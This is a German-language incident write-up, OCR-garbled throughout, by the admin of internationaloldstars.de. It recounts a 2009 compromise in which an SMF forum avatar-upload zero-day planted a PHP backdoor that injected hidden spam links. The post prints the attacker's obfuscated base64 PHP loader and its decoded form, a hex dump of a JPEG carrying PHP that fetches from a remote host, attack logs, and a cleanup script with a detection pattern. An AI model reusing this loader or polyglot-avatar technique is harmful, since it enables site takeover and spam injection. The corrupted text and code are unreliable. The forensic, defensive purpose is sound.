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Die Seite Internationaloldstars.de war die letzten 24 Stunden nicht erreichbar.

Obwohl der Webserver und php sehr restriktiv eingerichtet ist, alles doppelt gecheckt hat es uns erwischt.
Die Gute Nachricht ist, das der Angreifer offensichtlich nichts zerstéren wollte, sondern "nur" Geld
verdienen.

Eigentlich hat er sich sogar alle Miihe gegeben das sein Einbruch nicht auffillt, und die Seite weiterhin
unverdichtig aussieht.

Nur durch zwei kleine Details ist aufgefallen das etwas nicht mehr stimmt. www.internationaloldstars.de
ist W3C Xhtml Strict, sein

injiziertes html nicht. So stimmte das Layout nicht mehr zu 100% und das Ajax Script der Shoutbox hat
einen Fehler gewurfen.

AuBerdem waren die Zeitstempel sdmtlicher geidnderten Dateien - also aller Dateien in htdocs neu.

Whats wrong?

Clanmember haben zuerst gemerkt das die Schreibox nicht mehr tut. Bei der Fehlersuche war der erste
Schritt ein Blick auf den generierten Quelltext.

Minimum [...] register and horeca systems we offer comprehensive solutions for restaurants w [...] cash.

Ein unsichtbares div am Anfang des bodys, darin eine unmenge von Links zu V!agra, Spielcasinos und
anderen dubiosen Seiten.

Das ist der Moment wo der Schweil3 ausbricht, einem Unmengen von Zweifeln kommen und es Zeit ist
ein Becks zu 6ffnen.

WTF?! Von wann ist das letzte Backup? Bin ich ein Zombie? Liegt jetzt POrn auf der Maschine? Grrrr!
Alle an die Wand und erschiessen!

Das Becks ist halb leer, jetzt arbyten die Zellen etwas besser.

Schritt 1) Schadensbegrenzung.

Webserver runterfahren, SQL-Datenbank runterfahren, alles sichern.


http://www.internationaloldstars.de/news_detail/items/wwwinternationaloldstarsde-nicht-erreichbar.html
http://www.internationaloldstars.de/news_detail/items/wwwinternationaloldstarsde-nicht-erreichbar.html

Schritt 2) Bestandsaufnahme.

Wie tragisch ist es? Bei jeder Komprimitierung im Zweifelsfall "flatten und rebuild" Aber ich habe Zeit,
und auBerdem gilt es das Schlupfloch zu finden um es zu schlie3en.
Also:

- Syslog, Authlog

- Webserverlog

- SQL-Log

- E-Mail Logfile

- Iptables

- laufende Prozesse und alle Verzeichnise auf Verdichtiges priifen.

Es scheint erstmal nicht grob fahrlissig die Maschine weiterhin ohne Webservice am Netz zu lassen.
Offensichtlich sind nur Webseiten (*.php) innerhalb des www.internationaloldstars.de Verzeichnises
betroffen.

Genau deswegen muss der Webserver und php mit einem unpriviligiertem Benutzer ohne Rechte laufen.
Der Angreifer kam einfach nicht aus seinem Verzeichnis raus.

*Puhhh* Das Backup ist da, der maximale Arbeitsaufwand schrumpft auf ~20 Minuten fiir das Backup
einspielen.

Nun niitzt es aber nichts das Backup einzuspielen wenn das Loch unbekannt ist.

Schritt 3) Folge dem weiflen Kaninchen.

Das div-Tag muss irgendwo her kommen.

Schon bei Schritt 2 féllt auf das alle Verzeichnisse und Dateien im Webroot-Verzeichnis den selben
Zeitstempel tragen.

15. Mai 2009, 10:20Uhr

also die index.php geoffnet und kaum iibersehbar in der ersten Zeile obfuscated code.
FNbJ3NoX25vJ10pKXskROxPQkFMU1snc2hfbm8nXTOxO2ImKGZpbGV{ZXhpc3RzKCcvaGItZS9pb
3Mvd3

d3LmludGVybmF0aW9uY WxvbGRzdGFycy5kZS9tY W1ib3RzL2VkaXRvenMvdGlueW 1jZ259qc2Nya
XBOcy
90aW55X21jZ2S90aGVIZXMvYWR2YWS5jZWQvZG9jcy91ay9pbWFnZXMve3R5bGUuY3NzLnBocCc
pKXtp

bmNsdWRIX29uY2UolJy90b211L.21vcy93d3cuaW50ZXJuY XRpb25hbGI9sZHNOY XJzLmRIL21ThbW]vd
HMvZ

WRpdG9ycy90aWS55bWNIL2pzY 3JpcHRzL3RpbnlfbWNIL3R0ZW 11cy9hZHZhbmNIZC9kb2NzL.3VrL
21tYWd

lcy9zdHIsZS5jc3MucGhwlyk7aWYoZnVuY3Rpb25{ZXhpc3RzZKCdnbWwnKS YmIWZ1bmNOaW9uX?2
V4a
XNOcygnZGdvYmgnKSI7aWYoIWZ1bmNOaW9uX2V4aXNOcygnZ3pkZWNvZGUnKS17ZnVuY3Rpb
24¢73
PkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGgOMTAT7IGUIMDtpZigkZiYOKX
skZT11
bnBhY2s0J3YnLHN1YnNOcigkZCwxMCwyKSk7JGU9JGVbMVO07IGgrPTIrJGU7fWImKCRmJjgpeyR
oPXNO

cnBveygkZCxjaHIoMCksJGgpKzE7fWImKCRmJJE2K X skaD 1zdHJwb3MoJGQsY2hyKDApLCRoKSs
xO31p

ZigkZi1Y yKXskaCsOMjt9THU9Z3ppbmZsY XRIKHN1YnNOcigkZ CwkaCkpO2ImKCR1PTO9RKFMUOU
peyR1PS



RkO31yZXR1cm4gIHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50LUVuY29ka
W5n0OiB
ub251yk7JGMI9Z3pkZWNvZGUoJGIpO2ImKHByZWdfbWF0Y2g0Jy9cPGJvZHkvc2knLCRjKS17cm
V0OdXJul
HByZWdfcmVwbGFjZSgnLyhcPGJvZHIbXIw+XSpcPikve2knL.CckMScuZ21sKCksJIGMpO311bHNIe3
JIdHV

ybiBnbWwoKS4kYzt9fW9iX3N0Y XJOKCdkZ29iaCcpO319fQ==")); 7>

Nicht sonderlich schwierig, z.B. mit http://www.opinionatedgeek.com/dotnet/tools/Base64Decode/
online zu "entschliisseln"

if(function_exists('ob_start')&&!isset($GLOBALS|['sh_no'])){ §GLOBALS['sh_no']=1;
if(file_exists('/mambots/editors/tinymce/jscripts/tiny_mce/themes/advanced/docs/uk/images/style.css.php'
M
include_once('/mambots/editors/tinymce/jscripts/tiny_mce/themes/advanced/docs/uk/images/style.css.ph
p);
if(function_exists('gml")& & !function_exists(‘dgobh'))
{if(!function_exists('gzdecode")){function gzdecode($d){$f=ord(substr($d,3,1));
$h=10;
$e=0;
if($f&4){ $e=unpack('v',substr($d,10,2));
$e=Se[1];
Sh+=2+%e;
Hf($f&8) { Sh=strpos($d,chr(0),$h)+1;
}if($£&16){ $h=strpos($d,chr(0),$h)+1;
Jif($1&2) { $h+=2;
}$u=gzinflate(substr($d,$h));
if(Su===FALSE){$u=%d;
}return $u;
} Hunction dgobh($b){Header('Content-Encoding: none');

$c=gzdecode($b);
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if(preg_match('A\]*\>)/si','$1'.gml(),$c);
Jelse{return gml().$c;
} Yob_start('dgobh');

1

ladt die Datei style.css.php in dem angegebenen Pfad nach.

Diese style.css.php ist in dhnlicher weise obfuscated, ist aber auch nicht unldsbar schlielich muss php sie
ja ausfiihren konnen.

Den Inhalt spare ich mir hier - es ist ein bekanntes php-shell Backdoor das noch andere Dateien von
einem Server nachliddt der inzwischen offline ist.

Es passiert also folgendes

Die "evil" Zeile 1adt den Kram in der
/mambots/editors/tinymce/jscripts/tiny_mce/themes/advanced/docs/uk/images/

dort gibt es eine Config, das Script das die Befehle vom Master entgegennimmt, Der exploit der den
Dateien einbindet derer es habhaft werden kann und Unmengen von html Dateien mit dem Spaminhalt
(~200MB)

Wird die Webseite des Opfers aufgerufen wird nach dem Zufallsprinzip einige der spam-Links unsichtbar
eingeblendet.

Der Zweck ist mir immernoch schleierhaft. Nur eine Machtdemonstration fiir potentielle Kunden? Nur
Backlinks fiir Suchmaschinen?

Da der Spam fiir den normalen Benutzer unsichtbar ist, und Suchmaschinen inzwischen ein div mit
display:none und jeder Menge Casino und V!agra Stichwort Links auch nicht unbedingt mit Pagerank
belohnen wihre ein Iframe mit einem Windowsexploit z.b. bestimmt viel besser zu Geld zu machen.
Aber uns solls recht sein, noch mal mit einem dunkelblauen Auge davongekommen.

Jetzt weil} ich was passiert, wo es passiert und warum es passiert. Aber noch nicht wie der pose Code
iberhaupt auf den Server gekommen ist.

FTP gibt es hier nicht. SSH Log ist unverdichtig. Es sind nur webroot Dateien betroffen. Es muss eine
Liicke in einem php Script sein.

Anhand des Zeitstempels der Dateien ist es einfach die Indianer Log Dateien zu durchforsten:

Error Log:

[Fri May 15 10:52:38 2009] [crit] [client |ocal host] (13)Pernission denied: htaccess
pcfg openfile: unable to check htaccess file, ensure it is readable

[Fri May 15 10:56:13 2009] [crit] [client |ocal host] (13)Perm ssion denied: htaccess
pcfg_openfile: unable to check htaccess file, ensure it is readable

[Fri May 15 10:59:11 2009] [error] [client |ocal host] PHP Warning: gzinflate() [
function.gzinflate]: data error in functions_stats.php(l) : eval()\'d code on line 1
[Fri May 15 11:01:32 2009] [error] [client |ocal host] PHP Warning: strpos() [
function.strpos]: Ofset not contained in string in backcl asses. php(1) : eval ()\'d

code on line 1

[Fri May 15 11:01:32 2009] [error] [client local host] PHP Warning: gzinflate() |
function.gzinflate]: data error in frontclasses.php(1l) : eval()\'d code on line 1
[Fri May 15 11:01:38 2009] [crit] [client |ocal host] (13)Pernission denied:

/hone/i os/ www. i nt ernati onal ol dstars. de/ pl ayerstats/. htaccess pcfg _openfile: unable to

check htaccess file, ensure it is readable

[...]

Jede Menge Permission denied. Weil der Php Benutzer unter dem das Script lduft bei den meisten
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Dateien kein Schreibrecht hat. Bei den meisten. Warum nicht bei allen?

Tja... eindeutig mein Fehler. Wie das so ist, es gibt ein Update, man spielt es ein und ist dann zu faul oder
vergisst einfach die Rechte wieder anzupassen.

Menschliches Versagen. Mit den richtigen Berechtigungen wihre {iberhaupt garnix passiert.

access_log

| ocal host - - [15/May/2009: 10: 19: 44 +0200] "POST /board/i ndex. php?acti on=regi ster?2
HTTP/ 1.1" 200 3129 "-" "Mozilla/4.0 (conpatible; MSIE 5.00; Wndows XP Service Pack
2)"

| ocal host - - [15/May/2009:10: 20: 28 +0200] "GET

/ boar d/ i ndex. php?acti on=acti vat e; u=255; code=ab3bc803f6 HTTP/1.1" 200 3412 "-"
"Mozillal/4.0 (conpatible; MSIE 5.00; Wndows XP Service Pack 2)"

| ocal host - - [15/May/2009:10: 20: 29 +0200] "GET /board/i ndex. php?acti on=l ogi n

HTTP/ 1. 1" 200 3329 "-" "Mozillal/4.0 (conpatible; MIE 5.00; Wndows XP Service Pack
2)"

| ocal host - - [15/May/2009: 10: 20: 30 +0200] "POST /board/i ndex. php?acti on=I ogi n2
HTTP/ 1.1" 302 26 "-" "Mozilla/4.0 (conpatible; MSIE 5.00; Wndows XP Service Pack 2)"
| ocal host - - [15/May/2009: 10: 20: 30 +0200] "GET

/ boar d/ i ndex. php?acti on=l ogi n2; sa=check; menber =255 HTTP/ 1. 1" 302 26 "-" "Mdzilla/4.0
(compatible; MSIE 5.00; Wndows XP Service Pack 2)"

| ocal host - - [15/May/2009:10: 20: 30 +0200] "POST

/ boar d/ i ndex. php?acti on=l ogi n2; sa=check; menber =255 HTTP/ 1. 1" 302 26 "-" "Mdzilla/4.0
(compati ble; MSIE 5.00; Wndows XP Service Pack 2)"

| ocal host - - [15/May/2009: 10: 20: 31 +0200] "GET /board/index. php?acti on=l ogin

HTTP/ 1. 1" 200 14152 "-" "Mozillal/ 4.0 (conpatible; MSIE 5.00; Wndows XP Service Pack
2)"

| ocal host - - [15/May/2009: 10: 20: 31 +0200] "PCST /board/i ndex. php?acti on=l ogi n2
HTTP/1.1" 302 - "-" "Mbzilla/4.0 (conpatible; MSIE 5.00; Wndows XP Service Pack 2)"
| ocal host - - [15/May/2009:10:20: 31 +0200] "GET

/ boar d/ i ndex. php?acti on=l ogi n2; sa=check; menber =255 HTTP/ 1. 1" 200 11822 "-"
"Mozillal/4.0 (conpatible; MSIE 5.00; Wndows XP Service Pack 2)"

| ocal host - - [15/May/2009:10:20: 31 +0200] "GET /board/i ndex. php?acti on=profile
HTTP/ 1. 1" 200 16253 "-" "Mozillal/4.0 (conpatible; MSIE 5.00; Wndows XP Service Pack
2)"

| ocal host - - [15/May/2009: 10: 20: 32 +0200] "PCST /board/i ndex. php?acti on=profil e2
HTTP/ 1.1" 200 - "-" "Mozillal/4.0 (conpatible; MSIE 5.00; Wndows XP Service Pack 2)"
| ocal host - - [15/May/2009: 10: 20: 32 +0200] "POST /board/i ndex. php?acti on=profil e2
HTTP/ 1.1" 302 - "-" "Mozillal/4.0 (conpatible; MSIE 5.00; Wndows XP Service Pack 2)"
| ocal host - - [15/May/2009:10: 20: 32 +0200] " GET

/ boar d/ i ndex. php?acti on=t hene; sa=pi ck; u=255 HTTP/ 1. 1" 200 460590 "-" "Mbdzilla/4.0

(conpatible; MSIE 5.00; Wndows XP Service Pack 2)"

[...]

Und hier haben wir den Einstieg gefunden. Benutzer 255 (den Nicknamen nenne ich nicht, fiir sowas gibt
es hier keinen Ruhm zu ernten) registriert sich im Board, aktiviert den Account, 14dt einen Avatar hoch
und dndert eine Einstellung in seinem Forums Profil.

Das alles unter 60 Sekunden. Das Loch muss im Board sein, bei den Avatars. Es sind nur Bilder erlaubt.
Dachte ich. Tja. Dies ist der Inhalt des Avatars:

O fset(h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF

00000000 FF D8 FF E1 00 BC 45 78 69 66 00 00 49 49 2A 00 y@ya. VExif..Ill*.
00000010 08 00 00 00 05 00 12 01 03 00 01 00 00 00 01 00 ................
00000020 00 00 31 01 02 00 1C 00O OO 00 4A 00 00 OO0 32 01 ..1....... J... 2
00000030 02 00 14 00 00 00 66 00 00 00 13 02 03 00 01 OO ...... foo ..



00000040 00 00 01 00 00 00 69 87 04 00 01 00 00 OO0 7A 00 ...... i z.
00000050 00 00 00 00 00 00 41 43 44 20 53 79 73 74 65 6D ...... ACD System
00000060 73 20 44 69 67 69 74 61 6C 20 49 6D 61 67 69 6E s Digital Inagin
00000070 67 00 32 30 30 38 3A 31 31 3A 32 32 20 30 33 3A g.2008:11:22 03:
00000080 30 38 3A 31 36 00 04 00 00 90 07 00 04 00 OO OO 08:16...........
00000090 30 32 32 30 90 92 02 00 04 00 00 00 35 31 35 00 0220.’...... 5165.
000000A0 02 A0 04 00 01 00 OO OO0 O1 0O OO OO0 03 AO 04 00 . ...........

000000BO 01 00 00 00 01 00 OO0 OO0 OO0 OO OO0 00 00 OO0 1IC OO0 ...........uu.n.
0000000 FF FE 04 27 3C 3F 70 68 70 3B 24 75 72 6C 20 3D yp.\'

000000D0 20 27 68 78 78 70 3A 2F 2F 78 78 78 78 78 78 78  \' hxxp://XXXXXXX
0O0O0O00EO0 78 2E 6E 65 74 2F 3F 75 70 64 61 74 65 3D 6D 61 x.net/?update=nm
000000F0 69 6E 27 3B 24 64 6F 6E 65 20 3D 20 66 61 6C 73 in\'; = fals
00000100 65 3B 69 66 28 21 24 75 72 6C 29 7B 72 65 74 75 e;if(!){retu
00000110 72 6E 20 27 27 3B 7D 24 75 72 6C 5F 69 6E 66 6F rn \'\';}

[ SCHNI PP]

Qoben ein Bild unten php Code. Die url habe ich geandert, auch wenn der Server
i nzwi schen abgeschal tet wurde.

Nun hat unser Freund sein code auf dem Server, er nuss nur noch ausgef ihrt werden.
Her hilft ihmeine weitere Licke i m SMF

| ocal host - - [15/May/2009: 10: 20: 32 +0200] "GET

/ boar d/ i ndex. php?acti on=t hene; sa=pi ck; u=255 HTTP/ 1. 1" 200 460590 "-" "Mbdzilla/4.0
(compatible; MSIE 5.00; Wndows XP Service Pack 2)"

er andert den Pfad seines Forum Designs auf diese Datei um Nun wird die Datei von
php ausgefuhrt wenn er sich im Forumeinloggt. Die php Shell wird vom Master
runt er gel aden, den Rest kenn ich

Das Forum war auf dem aktuellen Patch-Stand. Php auf dem aktuel |l en Patch Stand.

url _fopen deaktiviert. php Benutzer nobody.

Al l es wi rkungsl os an genau dieser Stelle mt einemO0-Day Exploit von demich nichts
wusste und fidr den es noch keinen Patch gab

CGot chal

Das wirklich argerliche daran ist, nachdemich soweit war dies alles nachzuvoll zi ehen
wol lte ich es i m SM- Board posten um andere zu warnen und nach ei nem Patch zu fré&gen
Dort gab es bereits seit dem 1. Mai einen Thread dazu

http://ww. sinpl emachi nes. org/ communi ty/i ndex. php?t opi ¢c=307717.0 wund die User dort
sind zu densel ben Ergebni ssen gekonmen wi e ich

I ch habe den Newsletter aktiviert. Ich bin Menber im SMF-Board. Aber wenn alles |auft
und kei ne Warnung in den Ei nschl agi gen Seiten wi e fulldisclosure. org,
securityfocus.com Bugtraq erscheint klicke ich nicht jeden Tag santliche Boards
all er SWL6sungen die ich imEi nsatz habe durch

Warum wur de nicht schon am 1. Mai ein Newsletter von SMF versand das die

Avat arfunktion vorl aufi g deaktiviert werden sollte bis ein Patch erscheint?

Schande Uber euch

Mttlerweile findet Google mt den richtigen Suchbegriffen Dutzende snf Seiten die
bereits infiziert sind.

Am Mai 20, 2009, 08:22:19 hat SMF einen Patch fiur alle SMF Versionen releast. Und
sel bst dort ist die Dringlichkeit nicht deutlich genug gekennzei chnet.

Wenn du ein SMF Board hast. Update! Jetzt! Sofort!

Schritt 4) Aufraunen.

Da ich nun wei B was passiert und was nicht scheint es relativ sicher, einfach nur den
Schadcode zu entfernen um w eder einen definierten Zustand herzustellen

- Den fraglichen Benutzer in der Datenbank | dschen. (xxx_menbers)

- Den Eintrag fiur das Design in der Datenbank | dschen. (xxx_themes)

- Den "Avatar" | 6schen.

- Die exploit Files unter

/ manbot s/ editors/tinynte/jscripts/tiny _nte/thenes/advanced/ docs/ uk/i nages/


http://www.simplemachines.org/community/index.php?topic=307717.0

(Der Pfad kann varieren - der Exploit versteckt sich imléangsten! Pfad den er auf
dem Webserver finden kann.)
e - Alle Anderungen in den php Dateien riickgangi g machen.
Dabei hilft das jeweils nur die erste Zeile eingefigt wrde und di ese inmer
gl ei ch aussi eht:

#!/ bi n/ sh

PATTERN="\ ?php \/\*\ *\/eval . base64_decode"

FOUND=0

for datei in “find . -name "*.php" ; do
echo "Checking file "

cat | grep -i "" > /dev/null

if [ $? -eq 1

t hen

echo "Pattern found, replacing..."
cat | sed \'/\?php \/\*\*\/eval . base64_decode/d\' > .save
cp -f .save
rm-rf .save
fi

done
exit O
e - Die Passwbrter geschitzter Verzeichnisse, MySQL Dat enbank, Adm nistrator etc..
ANDERN!
e - Den SMF Patch installieren.
e - Die Dateiberechtigungen dieses mal richtig setzen.
o - 7777
e - PROFIT!

Di e nachsten Tage die Logfiles ganz genau beobachten. Sollte irgendetwas verdachtig
sein - dann doch |ieber das System neu aufsetzen.

Di e benutzte php Shell hat viele Mglichkeiten. Der Angreifer hatte Zugriff auf die
DB Passwdrter und kann sich ein Backup angefertigt haben.

Sind dort schwache Passwbrter fir Benutzer hinterl egt

Es kobnnen Datei en auller den bereits gefundenen verandert, hinzugefigt worden sein.

An alle I.O S Menber. Es ist unwahrscheinlich - aber wer sicher gehen will &ndert
sein Passwort.

| nsbesondere wenn er auf anderen Seiten / (berall das sel be Passwort benut zt.

(Die Bankpin als |I.QO S-Passwort anyone? Lasst das!)

Wer ein Loch in unserer Seite findet. Lasst es. Schrei bt eine E-Mail an uns und
beschrei bt die Liucke. Euch ist Ruhm und Anerkennung gew ss.

Die Seite zu andern bringt nur fiar 5 M nuten Befriedigung bis es entdeckt und
beseitigt wird.

Wer einen Fehler neldet, dessen Namen wird fir alle Zeit auf der Seite mt Kredits
bedacht .

UPDATE
Noch ein weni g rungestodbert, und gesehen das der code noch ein wenig nehr Spall macht
aufler ein unsichtbares Div einzublenden. Alle Links in demdiv nmit display:none
fihren zu anderen bereits infizierten SMF Boards, nmt einer speziellen url.
http://exanpl e. com forunii ndex. php/ ?vrd=25 fol gt nan dieser url bekomm nan
ganzseitig die richtige Werbung als Flash ei ngebl endet, ohne den Paraneter verhalt
sich das Opfer ganz normal....

Zuriick
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